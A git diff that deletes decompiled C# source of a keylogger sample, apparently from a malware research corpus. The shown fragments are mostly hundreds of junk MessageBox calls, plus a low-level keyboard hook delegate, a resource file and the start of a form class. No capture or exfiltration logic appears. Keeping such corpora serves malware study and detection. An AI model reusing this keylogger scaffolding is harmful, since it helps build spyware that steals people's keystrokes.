MessageBox.Show("SIADUNXV8BAPG3JVQQPTCWRVRGXWFALA"); - int num114 = (int) MessageBox.Show("ZKPXQDNJ8QUHDKTBYUHINKJMNJ1GICVINLEXXSA"); - int num115 = (int) MessageBox.Show("ERJ5LLJTMDPTNPKZC8PMR"); - int num116 = (int) MessageBox.Show("MVUNVIQSVJVMPI8XSS1QGYCRU"); - int num117 = (int) MessageBox.Show("SYFK9ZR2ZAMUMVBGYPASXEATUHRMMFYZSVCBVYSC"); - int num118 = (int) MessageBox.Show("GNUFFXQJNJETURPRHBGAVCP5FXPXLQGNS6FAEH"); - int num119 = (int) MessageBox.Show("XUPDRATST1R6"); - int num120 = (int) MessageBox.Show("SXCPZZ3XR5JZ"); - int num121 = (int) MessageBox.Show("CINUUBKQFUVII9XGPB8WYXT"); - int num122 = (int) MessageBox.Show("UFNPQIUTSPJ6ZBGHCFDAJHG1UUJEINYCLHRWYKS"); - int num123 = (int) MessageBox.Show("HBTUA5N3EXECPUIAIPHC"); - int num124 = (int) MessageBox.Show("YUEPGHKW7VKPJMLPNUE6JGZYMMZCRIUN"); - int num125 = (int) MessageBox.Show("TYUNQEKLPGGWAJBQTK4HIEC4LRGVB"); - int num126 = (int) MessageBox.Show("Y4MPEHUL8DVWHDRGQKETPJFZJSSRG"); - int num127 = (int) MessageBox.Show("JNSMAGGNEHHCM9NIRCSMQTYQYRZFMSXD8PVK"); - int num128 = (int) MessageBox.Show("RRUAXIS2JHM7WERXIRP"); - int num129 = (int) MessageBox.Show("YMEWBIHCQ6SLWL4TAEZHW"); - int num130 = (int) MessageBox.Show("GC5YDFBVBPYGCSDFBIKUFPZHSCERIUA5BPDIQIA"); - int num131 = (int) MessageBox.Show("UMC39UWZGHKZE"); - int num132 = (int) MessageBox.Show("IRQF2ELYKCV9SN"); - int num133 = (int) MessageBox.Show("CLZLCDDL8HZFMJASN8VLU"); - int num134 = (int) MessageBox.Show("AYMPWVALEBPHMMLWTMPWM9JARVLWRH2"); - int num135 = (int) MessageBox.Show("UJSUJKIJZJLR9ULVTZKKTEPFV8HTUPMWSBUH"); - int num136 = (int) MessageBox.Show("FVGJVWQ2PWSRYEMU6PXDWGF"); - int num137 = (int) MessageBox.Show("C6WSMFXZWXCWYQNDYUTTX7YCMTLRWEFL"); - int num138 = (int) MessageBox.Show("GBBXKK4JNVLHKCTRUUENKPNECPFN7QGJSXSV"); - int num139 = (int) MessageBox.Show("VLNVMJYABTNMZRPTBRSTT88CSK"); - int num140 = (int) MessageBox.Show("HVNWBHECJD4IALTK2TQXUFNIUNWKCANUKPYA"); - int num141 = (int) MessageBox.Show("SEQ9SJXHC3VAEN"); - int num142 = (int) MessageBox.Show("REXEQCCVJFALNHT9GIPFHTVAPMUUWLBY9UNPVZP"); - int num143 = (int) MessageBox.Show("THEBCX4TUM4UYVMYYRCE"); - int num144 = (int) MessageBox.Show("SPKI2IEEKR9RDUXLWXHTPYVWYHIVPIKMUIDGKN"); - int num145 = (int) MessageBox.Show("UIWXCRY5JJLWJJSMML5E"); - int num146 = (int) MessageBox.Show("L2UZXHK2UEMMWGEXCGZAT"); - int num147 = (int) MessageBox.Show("VDGR3CAHYQN1XAGRVZNGHWWCVGZNLMQJAYS"); - int num148 = (int) MessageBox.Show("H9FXDREVSYCVIMHQYUMGPPKH5CQJQNTZYNZSJ"); - int num149 = (int) MessageBox.Show("D4DUYBWNTALJXWUQ8A"); - int num150 = (int) MessageBox.Show("5RJDMCTU1ZQP"); - int num151 = (int) MessageBox.Show("PRC1KNSTY4EEISEWW"); - int num152 = (int) MessageBox.Show("VNXNCQQPPHMJ9CHUVPBRGFYWKNNUXXVVGDCWB9J"); - int num153 = (int) MessageBox.Show("NSDTH47WXZWYINAWFBUDG"); - int num154 = (int) MessageBox.Show("NBXKQXBM6QLI7WPTTGVCLDISNPHPUEKWMSTHQVN"); - int num155 = (int) MessageBox.Show("LWLFKMRW6MZZN8QADTTIBTUBFRVLRKG"); - int num156 = (int) MessageBox.Show("NWKMQSDNWX4SMQAPGWCD3"); - int num157 = (int) MessageBox.Show("NN3JWZCHAZXPCVQKYXPPTEFIXJHLRP8THU"); - int num158 = (int) MessageBox.Show("YURM1AWDC4CJ"); - int num159 = (int) MessageBox.Show("RPRKIDNFYAEEUETTAREX6UBITFIZNLI1IRZXVFJ"); - int num160 = (int) MessageBox.Show("RGSEUBQXG6VKPFYPZXMFVRGLSHZAGTJMH1NP"); - int num161 = (int) MessageBox.Show("GEJCSG9IBDPDQJQ6BMYNHRHVNP"); - int num162 = (int) MessageBox.Show("BSZEAVTAY3S8HBVYZPBWXEJNUDVCSNKZYKWI"); - int num163 = (int) MessageBox.Show("FF3KPQXMXHWGGEA5BGGRI"); - int num164 = (int) MessageBox.Show("KUF8FZVKYGTQ1GPNSRVTRZQFLCJQGCV"); - int num165 = (int) MessageBox.Show("VJSYHMEGFPGFVLEFIYC87"); - int num166 = (int) MessageBox.Show("NWZMU5AEJT7BPKJ"); - int num167 = (int) MessageBox.Show("JXDACH4PCHAPAVAGFBMQK2"); - int num168 = (int) MessageBox.Show("MID9CSVCVL4HLJE"); - int num169 = (int) MessageBox.Show("IEYCKSGIK9K1VQLLZZNYJYDVWIM"); - int num170 = (int) MessageBox.Show("RTFMVTNFYG35PCD"); - int num171 = (int) MessageBox.Show("KTSSWAZLUFXEWMUZBVD3KKQGBSLWPKKHAZQA9UZG"); - int num172 = (int) MessageBox.Show("2HUHTBQVPFRYLEEUVWCALBSKKDY2UK"); - int num173 = (int) MessageBox.Show("GDHSQFBGIIKZBA1N1"); - int num174 = (int) MessageBox.Show("XCFAVF4JLV2QNQSSBQTXWFFHCSXJYIYS"); - int num175 = (int) MessageBox.Show("KI6XZYBATG4GPTZWWNKL"); - int num176 = (int) MessageBox.Show("KSVGE2LHDEQJRCS8VRJD"); - int num177 = (int) MessageBox.Show("1XSXHLCBJUHTYH9JL"); - int num178 = (int) MessageBox.Show("RK9GGFK3NNKJIVEIP"); - int num179 = (int) MessageBox.Show("AIFFCWVG9VCIZZDGXM8YJFMA"); - int num180 = (int) MessageBox.Show("5VYGGYSACJKGX6"); - int num181 = (int) MessageBox.Show("H9GSIWUASCPTBCMUZYMTTQVUPGKIH8JICUBIEYKXHX"); - int num182 = (int) MessageBox.Show("9XS5GYGCSNSTWPYZPSNSQ"); - int num183 = (int) MessageBox.Show("R2UNHGCTSSCQBQGPWREVUAWLUVFQIADGLE5JNKFQI"); - int num184 = (int) MessageBox.Show("IFVTPUFT4AHKTSJPACDNMPZRNENM3YLV"); - int num185 = (int) MessageBox.Show("DPSADKNJLLXXDMJKCGA6YZZRBKJAXJR9UHXWEG"); - int num186 = (int) MessageBox.Show("JDDYNDQ2KNAPDNTSBT4YGIP"); - int num187 = (int) MessageBox.Show("IRUXDXEHUFYWAXXDE6PUCHRGX5VMRKDDMHE"); - int num188 = (int) MessageBox.Show("CCBSFLDGQYATCPTQCQV1NEXGDFAUPQATFHJY2NJLZV"); - int num189 = (int) MessageBox.Show("EYK1PSHSUTQVVF2A"); - int num190 = (int) MessageBox.Show("WXVAIWDBXQHBEZYS58STFTMKNRPHGY"); - int num191 = (int) MessageBox.Show("GJCELTNCVWISYAD2THGSRQQKETEYLN2WWUPWMTNQ"); - int num192 = (int) MessageBox.Show("4JLAYNPJRXH8GBYKQGSGGP"); - int num193 = (int) MessageBox.Show("3VPIEJI3CJQFGCFPSR"); - int num194 = (int) MessageBox.Show("RPNEPKKLDRYLPAGFK1IEKPZVUQAL1"); - int num195 = (int) MessageBox.Show("KENQHRN1VFZRBCDKAFVPUK1XYPKM"); - int num196 = (int) MessageBox.Show("CMBWNMLMUR7YEWZMCDMYNMBVYJFLLFGAWZTEXAC3"); - int num197 = (int) MessageBox.Show("LWZWZHGX2SQTSCFCHMGF7SQVUTSTJMFMCEKCZHHWD"); - int num198 = (int) MessageBox.Show("PCVZKDU82MAIIGFXESAJFG"); - int num199 = (int) MessageBox.Show("BVKG3VSLRQ6VBPG"); - int num200 = (int) MessageBox.Show("DBTVLHFV1UJN3CBIIRRWRYMTL"); - int num201 = (int) MessageBox.Show("7RYXDTTLLHEIVLB9FRTXRFVM"); - int num202 = (int) MessageBox.Show("RXCBNHCKMMGVWZCRTSKVDEZFIASPFV6JZ9TCZXATKW"); - int num203 = (int) MessageBox.Show("LWJHLVCCRSL3DK2IKDBZQ"); - int num204 = (int) MessageBox.Show("JQIQVDQQDKCUMYFL6JINL3SGWE"); - int num205 = (int) MessageBox.Show("GSY8EUCCJVZUSKZFJACIDAI2VYKCBKMKVLHVSKW"); - int num206 = (int) MessageBox.Show("XZDNLVSD9BS8"); - int num207 = (int) MessageBox.Show("T6AAUSBL8FBJRDVUK"); - int num208 = (int) MessageBox.Show("C1YRB7SPYLLIII"); - int num209 = (int) MessageBox.Show("ZZBRCTNCUUUCRQUMKCKMTQAS6C7VYSDMJZXU"); - int num210 = (int) MessageBox.Show("1RLPWKBBG3EPKPFFRZXHQPUHQKJBMAJ"); - int num211 = (int) MessageBox.Show("SWD3MUZAKNFAXDDVG5YP"); - int num212 = (int) MessageBox.Show("2TNEFWVSSCVZDEBLYVAADGLWEFBXJPGXUPHJE1"); - int num213 = (int) MessageBox.Show("RFUUYJM6AD5HJDS"); - int num214 = (int) MessageBox.Show("INQALKENCJIZN11"); - int num215 = (int) MessageBox.Show("GCQDSCFNPEDMTWLCQDUYUUUYC2XRX1VYXVWNWA"); - int num216 = (int) MessageBox.Show("NAVFSI8TIWSECNFUYGICBTJSPCJ6CGLGQ"); - int num217 = (int) MessageBox.Show("LL4DYEHAQIW1DQA"); - int num218 = (int) MessageBox.Show("RLHPQEMDSWLRJ2LDFTJXBRNIVLIM3C"); - int num219 = (int) MessageBox.Show("JXRBMKHCCR7VQVKIUXMQHJH4NVNMMGW"); - int num220 = (int) MessageBox.Show("1NRGVYGJXLIVIEVYYIUXVJWSJNQD1"); - int num221 = (int) MessageBox.Show("EYIGCFBV4WQSMDYRYGIIVJBQRL4UIRKJBFP"); - int num222 = (int) MessageBox.Show("6P1ENRMGVDFWLXYUMXIQKNSYUNN"); - int num223 = (int) MessageBox.Show("TJDFNXUTYE6YYTIY3QJWRMR"); - int num224 = (int) MessageBox.Show("TSUNEVXXNLHW2JWCXTGF5ZAZZIH"); - int num225 = (int) MessageBox.Show("GIAZLDSLVYSJEZB2YQJNPQ8WA"); - int num226 = (int) MessageBox.Show("KYTPSREPNKKACF9IE1KQGBFRVR"); - int num227 = (int) MessageBox.Show("HTFW1NHBPZQ5"); - int num228 = (int) MessageBox.Show("RKAYRJQHCUHKHDFZDLSJPYRWY31JUGKMNDH"); - int num229 = (int) MessageBox.Show("UYMI7TMXE3RNB"); - int num230 = (int) MessageBox.Show("TPXCCZSRRFV9DGFGKSAIHHTI4WDSFHBX"); - int num231 = (int) MessageBox.Show("SDSKNJFPYPKFURRT5M5JU"); - int num232 = (int) MessageBox.Show("RDBVQG5PKXCZEINHTIHHUXDJAQJ1RMEKZSKTAUJDX"); - int num233 = (int) MessageBox.Show("IR5XNPVLNLSJLMDCMC4"); - int num234 = (int) MessageBox.Show("YZWELBF37QWEHGRSFA"); - int num235 = (int) MessageBox.Show("NND2TBYKCY4VCRPPJPGDZNDBNHCM"); - int num236 = (int) MessageBox.Show("EECTZUMMXTFVDMQVRDZJUHH38"); - int num237 = (int) MessageBox.Show("WKWNNVC9LJYQLY1RAKESKJSWAIJ"); - int num238 = (int) MessageBox.Show("AZLDGPASSSNMEWY3NJXAN6YKAPJSAXIXE"); - int num239 = (int) MessageBox.Show("JITW6SQPMJ7V"); - int num240 = (int) MessageBox.Show("6UPWRPPMWCDCHXCP5X"); - int num241 = (int) MessageBox.Show("GQKJCXM2FXYB3VMPAWEWHXBGBWKBV"); - int num242 = (int) MessageBox.Show("GQJV4KRMKEES7IMJNFXTZFNPBLZYGYA"); - int num243 = (int) MessageBox.Show("AJYPQUZEJIPKS7T5MFSPNCBNQK"); - int num244 = (int) MessageBox.Show("GYUNKDDUEKWYEAN8NFR9WNTGP"); - int num245 = (int) MessageBox.Show("UZQXATPLQEGJYNXXCKNH87BXT"); - int num246 = (int) MessageBox.Show("EWD4XQTNQM6DYENSITKLYRPFYFTMMY"); - int num247 = (int) MessageBox.Show("MILXXAI1XDAQXLR7PFULUTEIRGUWVMTATFT"); - int num248 = (int) MessageBox.Show("GVKVT4UEAJYSMQJEW3WBFTA"); - int num249 = (int) MessageBox.Show("IAA2QZAUC9EDJNB"); - int num250 = (int) MessageBox.Show("XZIAEUAWVRZGBZZAJRSFRG1VMMVRWDGW6UICT"); - int num251 = (int) MessageBox.Show("UMUBVNLXTLKUWD8WFXNULMF4"); - int num252 = (int) MessageBox.Show("QVIZFTPMLQHIHSJ2C7ARUVCQUGUFTWUBPNECMZMZ"); - int num253 = (int) MessageBox.Show("9YV3PQLLGEPJ"); - int num254 = (int) MessageBox.Show("SU1KNHFIJEKKNR4R"); - int num255 = (int) MessageBox.Show("MUBBFPPGSGWMDWBEYL4RUY8SDXCXRRRL"); - int num256 = (int) MessageBox.Show("FWAITRLNTRV4RMJXPRPHMMQ8NQFUBWXHTCVPKE"); - int num257 = (int) MessageBox.Show("M2UN2VSMXLJYNKYTQBNJSNPDRNHWNNITGEUR"); - int num258 = (int) MessageBox.Show("ZLYPYTLDDSKT5ZY5UYU"); - int num259 = (int) MessageBox.Show("URQPTGFJEQ3AWRSQGAJRQIKWU2N"); - int num260 = (int) MessageBox.Show("N5TNYUPZILQYTRWL5KIPKE"); - int num261 = (int) MessageBox.Show("TK6MZZGEQN4QQ"); - int num262 = (int) MessageBox.Show("GWNFLAEXZSCG8DBPIYMX2D"); - int num263 = (int) MessageBox.Show("WTGZEJZVJACNXICCVQYSXR9EJEASNLIYULS1E"); - int num264 = (int) MessageBox.Show("YDKWXIF2FSCUWMFYQMETHYMEK4XCW"); - int num265 = (int) MessageBox.Show("HVDWYPUN3GDELPWVNKIJRKF6"); - int num266 = (int) MessageBox.Show("QK9MEAEPHUDDFYKBQUKERZLPUH3"); - int num267 = (int) MessageBox.Show("EBRTQSCQFABVR3ERK4GRPBZACY"); - int num268 = (int) MessageBox.Show("5QWHGBWJKZWADUHTKSRRTYMDIAWZBXU6GNVMBAVB"); - int num269 = (int) MessageBox.Show("BZJDNZCGXYIJFXYDUIFVDXHJXDDD7MHDIHH2U"); - int num270 = (int) MessageBox.Show("LHJPCXGUDVY3KLIXA6VYXWXRWTSPDWEF"); - int num271 = (int) MessageBox.Show("H1UDRNQFWBIEMJ6XHDDY"); - int num272 = (int) MessageBox.Show("RDIHBIPCQCKZKEAGXRVTXW3AXXM1SAENADFFY"); - int num273 = (int) MessageBox.Show("SUDFINNNDZLHNSXEKPJNHIWG7HJYBYMPLEI4"); - int num274 = (int) MessageBox.Show("MVGGCMYUS8DRG9T"); - int num275 = (int) MessageBox.Show("TRUWZ5FTN6FMAW"); - int num276 = (int) MessageBox.Show("AKGHKKYFYB6GPNADZP9P"); - int num277 = (int) MessageBox.Show("8PETTWALIUSAZDMXAKJC4FZ"); - int num278 = (int) MessageBox.Show("TMIFCHBPXNHGFAWR8VEPABSFGB8I"); - int num279 = (int) MessageBox.Show("DWILSCDKFURVKYSQIB5UDUXXVKFNBIR9QNMY"); - int num280 = (int) MessageBox.Show("TUVX42BJJGJNB"); - int num281 = (int) MessageBox.Show("ZQZQVCBXCYSGDURNJFFXGPS6DW1B"); - int num282 = (int) MessageBox.Show("SMPY4PABWF2FUGSTWJ"); - int num283 = (int) MessageBox.Show("ANHRKU3UFKCZJCYN3TTA"); - int num284 = (int) MessageBox.Show("AENQQQU1YEFMN7UPUPFMJE"); - int num285 = (int) MessageBox.Show("YU1M7WFRJMQG"); - int num286 = (int) MessageBox.Show("ZGBXQ1GICDGIJWSERLXH9MAMKEN"); - int num287 = (int) MessageBox.Show("ZFZXMWA8DTD3TTN"); - int num288 = (int) MessageBox.Show("NGGXTSK8JQKGAVIJP6"); - int num289 = (int) MessageBox.Show("RWCWZTPNGVLFNCR1DMIMUARSAJCSQE7KSRBVYXZCKD"); - int num290 = (int) MessageBox.Show("SF8BUFAWUHIZABF7USMQGWNLMF"); - int num291 = (int) MessageBox.Show("KWBUNAINR3FYUBSFTUSDH5M"); - int num292 = (int) MessageBox.Show("DG3WGYF1LPQCDKE"); - int num293 = (int) MessageBox.Show("DTHPQTAUINYJTV9BWLLADAHYZ1KP"); - int num294 = (int) MessageBox.Show("4LSNDLMD8TYPDIF"); - int num295 = (int) MessageBox.Show("NABZJJVW7QSNZAJBUYNALYPAZE6VHY"); - int num296 = (int) MessageBox.Show("ABZJWWA2ZDTRSDRJRGSFPDFWIARJ2EJYSJSXV"); - int num297 = (int) MessageBox.Show("BVZPNGTLQJEQPEED6PVEN2LVVIR"); - int num298 = (int) MessageBox.Show("CLU4RNPJ5UZYAYQZVTQAWYLGEJ"); - int num299 = (int) MessageBox.Show("KTDMPCBSHRNRDW4IRANGHUYGQGSAAFJXFDNKBSPXC5"); - int num300 = (int) MessageBox.Show("UGD4BXWWXF9SYPQIEBXRRMJDV"); - int num301 = (int) MessageBox.Show("J7QJHRVKND4AP"); - int num302 = (int) MessageBox.Show("RQQ8GIJLSCWMBRG6ZTBTFGPYVNH"); - int num303 = (int) MessageBox.Show("ULQY9UCLFYCPURAMWR3XMMILSNSUA"); - int num304 = (int) MessageBox.Show("ATINDJCQ8BR3NGZN"); - int num305 = (int) MessageBox.Show("VHQPVZNSKMZ4LUYYFWKWYJIMLKGNHQWJMUW6"); - int num306 = (int) MessageBox.Show("UVQZTGCB7GBWYLDNYIQ4UYWMC"); - int num307 = (int) MessageBox.Show("R9SLCNGMAYDNHMISQMYIUT8PUYFYVPYCIQAWS"); - int num308 = (int) MessageBox.Show("PVDQKSEIR2NDRYAJJGFBGAGJUTHZFCPLT4W"); - int num309 = (int) MessageBox.Show("VBSALDLG3KFL4"); - int num310 = (int) MessageBox.Show("EFEDBUFFYNVNCFH7HW9"); - int num311 = (int) MessageBox.Show("JDSLZ1P9IRWMY"); - int num312 = (int) MessageBox.Show("JTFDVUP2DNFRDGXUYP7X"); - int num313 = (int) MessageBox.Show("KMJDGMJYZM5PFUMQAFCNSHP9BHNNMJMKT"); - int num314 = (int) MessageBox.Show("4EGDLHRFSQDTVVRLMRTMWC5J"); - int num315 = (int) MessageBox.Show("DGUYER7HYSVVUIJASHAHHR1WVBDCPDGCSLTU"); - int num316 = (int) MessageBox.Show("QCCXLSXMPMXXMQINEABX3JXL5YKNGRRKK"); - int num317 = (int) MessageBox.Show("HFSEZ7ZXLUPGFDRXPDSFEQS9APFSVYDYK"); - int num318 = (int) MessageBox.Show("WGTZWMTVDEQDTSPRPNUZMRSWSKRI82X"); - int num319 = (int) MessageBox.Show("HXWNJGPWHLGQFVMHK6K5HLBQEBTH"); - int num320 = (int) MessageBox.Show("LMCKXUSLRBEEY3HUHD7IDIMZTYSM"); - int num321 = (int) MessageBox.Show("PVTGELGKMTESYZ5TRV7MBXPQZAU"); - int num322 = (int) MessageBox.Show("AYHDM8L6NPFCYMTFREBSIVJP"); - int num323 = (int) MessageBox.Show("BFWZWFUANRCQAH9L7JYDCEHYAISNDG"); - int num324 = (int) MessageBox.Show("XUWGCH4GWBHCRI9WFBTFRUNFLBLGUZVI"); - int num325 = (int) MessageBox.Show("BJSZITNIZBQUTBECKZSASPKST4UYRDBDEWTCVSD9E"); - int num326 = (int) MessageBox.Show("UH3LWHZMKMQGXNWMSXEINITUNNRYPLALE4UG"); - int num327 = (int) MessageBox.Show("W6LDNMUTXFSKSAUNDJYPY4MCJKTBGVLWXMME"); - int num328 = (int) MessageBox.Show("NNMSGGVJWXGYLRLBLNB6QJ1SHPTZW"); - int num329 = (int) MessageBox.Show("SCI39KJDLLPVWAS"); - int num330 = (int) MessageBox.Show("RSVJPAFQYKW38"); - int num331 = (int) MessageBox.Show("FMI5TYPLDHSHY6GRQE"); - int num332 = (int) MessageBox.Show("TTQAYVDXTKKZ23HMLZB"); - int num333 = (int) MessageBox.Show("NWPNFTJNN6JINDCNPPYYL1VLIBPCFUBK"); - int num334 = (int) MessageBox.Show("NN2FSVFZ9BBBGIJX"); - int num335 = (int) MessageBox.Show("QJK6CCIZKARUJAZX3VSWAYKX"); - int num336 = (int) MessageBox.Show("CLBAIUDHU4RTIQCJDBDT9KHWYRZBAXYZCR"); - int num337 = (int) MessageBox.Show("D58YGZZUTHZT"); - int num338 = (int) MessageBox.Show("HBHGJ5NFTEKXJYHUE5VLLCFJIVHIZMSITVBRSH"); - int num339 = (int) MessageBox.Show("RX3FVCS1NTISXRRSKRU"); - int num340 = (int) MessageBox.Show("6UEXQCHBEWFDNVWPACTQEUZQIMP5TIWBVNIPGJF"); - int num341 = (int) MessageBox.Show("D3FQJRKCBJFYRHGHSYMZHNFZJILPCMN3V"); - int num342 = (int) MessageBox.Show("4ZSVUK3LFFJVREWIXVRKSCAIUGAKHEVZ"); - int num343 = (int) MessageBox.Show("AWTNA6BPEKIPKM2"); - int num344 = (int) MessageBox.Show("VWSVVEBTYMBTWIHGIS42MSK"); - int num345 = (int) MessageBox.Show("K5QUJEXHA5UNYKWQTRHATUJBHTV"); - int num346 = (int) MessageBox.Show("NZS5DAJ3VTUAZNPCMTAPVLEQMAEZ"); - int num347 = (int) MessageBox.Show("RHNAKNYNXTRWMGYQAXQKNPWJBYY9AHVNHYZYBMP5HY"); - int num348 = (int) MessageBox.Show("RAXZFJ5ZAHVER3MGXL"); - int num349 = (int) MessageBox.Show("XFBWPKZLRYBTU7YGLBEWLHMVNVZC6RRVDCQNHXEJY"); - int num350 = (int) MessageBox.Show("I9ZP2VCFTQKV"); - int num351 = (int) MessageBox.Show("YCJDERPUMKFUTNMPHHTCLTGRFPINMV42UNUMRTG"); - int num352 = (int) MessageBox.Show("ZNLTEXPQUHHUP3UPS3JQWGUXGSXNQ"); - int num353 = (int) MessageBox.Show("WRIDXQ6DAK7SHIQ"); - int num354 = (int) MessageBox.Show("DKPCNKGJCUGD95AMBKZYDJIXWMJNHKCQLDUXJ"); - int num355 = (int) MessageBox.Show("EYIKSN2QRQIIZCZ5KJZJYNBTACIMMVX"); - int num356 = (int) MessageBox.Show("JXYIZRRBIZMXEVJGRRLIQ7BEVKRS5YPJFG"); - int num357 = (int) MessageBox.Show("KRBHLLRQITII6QLGQVHZ2SSV"); - int num358 = (int) MessageBox.Show("RLDR6YUSIAASSXF9PRFRSZNPXTTNWRCYADV"); - int num359 = (int) MessageBox.Show("WNVXDETNGTPVUM5HAH2XGMFJVRNQJKPFETBLCLFD"); - int num360 = (int) MessageBox.Show("CN9GBVQKX1GIQNFET"); - int num361 = (int) MessageBox.Show("LYNTTEL13JYSDIFQZIHJNTVSMGSJVVRQNCDAKIQ"); - int num362 = (int) MessageBox.Show("TKZTWNFBVNG8MQPCYAANTEUUXSF7AF"); - int num363 = (int) MessageBox.Show("YUCGGAXNWRRDSN9C8FBQKVAXCLQDSYFZIPMG"); - int num364 = (int) MessageBox.Show("UTNXUSW8S8XNCACVGLRTG"); - int num365 = (int) MessageBox.Show("X5GZYSXNDJRMZMFJLDBSJEXIWLCGMFHC1UZMQY"); - int num366 = (int) MessageBox.Show("YNLTGWVXYHAD2CJVNPHIITRIEHUWJXFZUBAUIZT5"); - int num367 = (int) MessageBox.Show("YY5RSH4PQCNUEWJEYDXWSKPNHSYNRXWESTD"); - int num368 = (int) MessageBox.Show("FPN7PRJMNR9H"); - int num369 = (int) MessageBox.Show("NJF13XKCLLFIAIGMQNKPBIAFWRPDXHBEJZCYWGN"); - int num370 = (int) MessageBox.Show("EFMWUFHTD1NPGULLSFRD4YYCI"); - int num371 = (int) MessageBox.Show("7THXUF2RAXKUKSIQWFMJHCKIEJ"); - int num372 = (int) MessageBox.Show("WNLMEHKFD9ASRLKDJVKYF8BV"); - int num373 = (int) MessageBox.Show("UV8NXCMCWXZC7STBNBJBLZKKGQDMWPIDK"); - int num374 = (int) MessageBox.Show("EHNRLVVKXCT1MH3XYWLYVD"); - int num375 = (int) MessageBox.Show("EI3V8HHJMWJRJAYFRHT"); - int num376 = (int) MessageBox.Show("ZWCBQMFT5HGDKJXYF8DT"); - int num377 = (int) MessageBox.Show("YM6ANG8TADSVGR"); - int num378 = (int) MessageBox.Show("MPUJM7BEMWVFDQFMZRIWSXCBM8EXMP"); - int num379 = (int) MessageBox.Show("TNVJGHJZMRUZTMFHFXZKZXYP6IGSNMJAZSMPDN9"); - int num380 = (int) MessageBox.Show("6WQGNZLQN3WXZUYQZNYRWID"); - int num381 = (int) MessageBox.Show("LYSYSGDLN5HUVVCJRZXZFSC3NAGGHLRCWUEE"); - int num382 = (int) MessageBox.Show("CD6YATPWGLKZLGNTG2USUTQAXQFHUXPBTSACJI"); - int num383 = (int) MessageBox.Show("ZSNYGIFLVW3ZACCB7HKI"); - int num384 = (int) MessageBox.Show("XJZJQFLZ2NI1QXENEQQAYXIQSCTWITAMYNVBKJ"); - int num385 = (int) MessageBox.Show("TYAQRZCJGEU6P7IX"); - int num386 = (int) MessageBox.Show("JYURHJNJQNTDQGNU8YKRSNS9KTHBVJTBLZTZXVRTFG"); - int num387 = (int) MessageBox.Show("XPSTIZXNKACDHSPPSTAPRVDZDZTMZ6SYCRB3ZNQ"); - int num388 = (int) MessageBox.Show("F4MAJTFF2RKWRXNJCNIILCHT"); - int num389 = (int) MessageBox.Show("LJ1F1JSGCSXUNMQSNYAFWSDVYVFGAHSWC"); - int num390 = (int) MessageBox.Show("6QMJFTGZTLGLXF4CWFIBVWUZFGP"); - int num391 = (int) MessageBox.Show("X9LHFVPAUUIAFMASWLAI9"); - int num392 = (int) MessageBox.Show("REBWMVRWFJAV9CPICRW7VFBSPK"); - int num393 = (int) MessageBox.Show("AEZSAVET7YG4JUSC"); - int num394 = (int) MessageBox.Show("JC9LGSH1RMQUNTHXFBKAVRRF"); - int num395 = (int) MessageBox.Show("SGIIQITVNX1QLIVRW8Q"); - int num396 = (int) MessageBox.Show("ILRYKK8DYR9VPGANM"); - int num397 = (int) MessageBox.Show("MIXVFMBFYBGIGACZRCLYYDK8XLGBZATGUW3"); - int num398 = (int) MessageBox.Show("R5IAY2BPPKKLNXRKTAYKNYHDQZQIEY"); - int num399 = (int) MessageBox.Show("WITQVNZ76ZGB"); - int num400 = (int) MessageBox.Show("ISHRZF4VFVG1LQTSWB"); - int num401 = (int) MessageBox.Show("WC6KRZKTVVHNFCUMTXJIYKRXS2RD"); - } - - private delegate int KeyboardHookDelegate( - int Code, - int wParam, - ref huhuhuiifyuhuyufuf.KBDLLHOOKSTRUCT lParam); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.cs deleted file mode 100644 index ab2ff81e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.cs +++ /dev/null @@ -1,140 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLoggerHook.Form2 -// Assembly: KeyLoggerHook, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 26063B71-F70D-47F2-A7CD-9491A0DD6717 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Windows.Forms; - -namespace KeyLoggerHook -{ - [DesignerGenerated] - public class Form2 : Form - { - private static List __ENCList = new List(); - private IContainer components; - private int pwdUPPER; - private int pwdLOWER; - private int pwdMIXED; - - [DebuggerNonUserCode] - static Form2() - { - } - - public Form2() - { - lock (Form2.__ENCList) - Form2.__ENCList.Add(new WeakReference((object) this)); - this.pwdUPPER = 1; - this.pwdLOWER = 2; - this.pwdMIXED = 3; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.SuspendLayout(); - 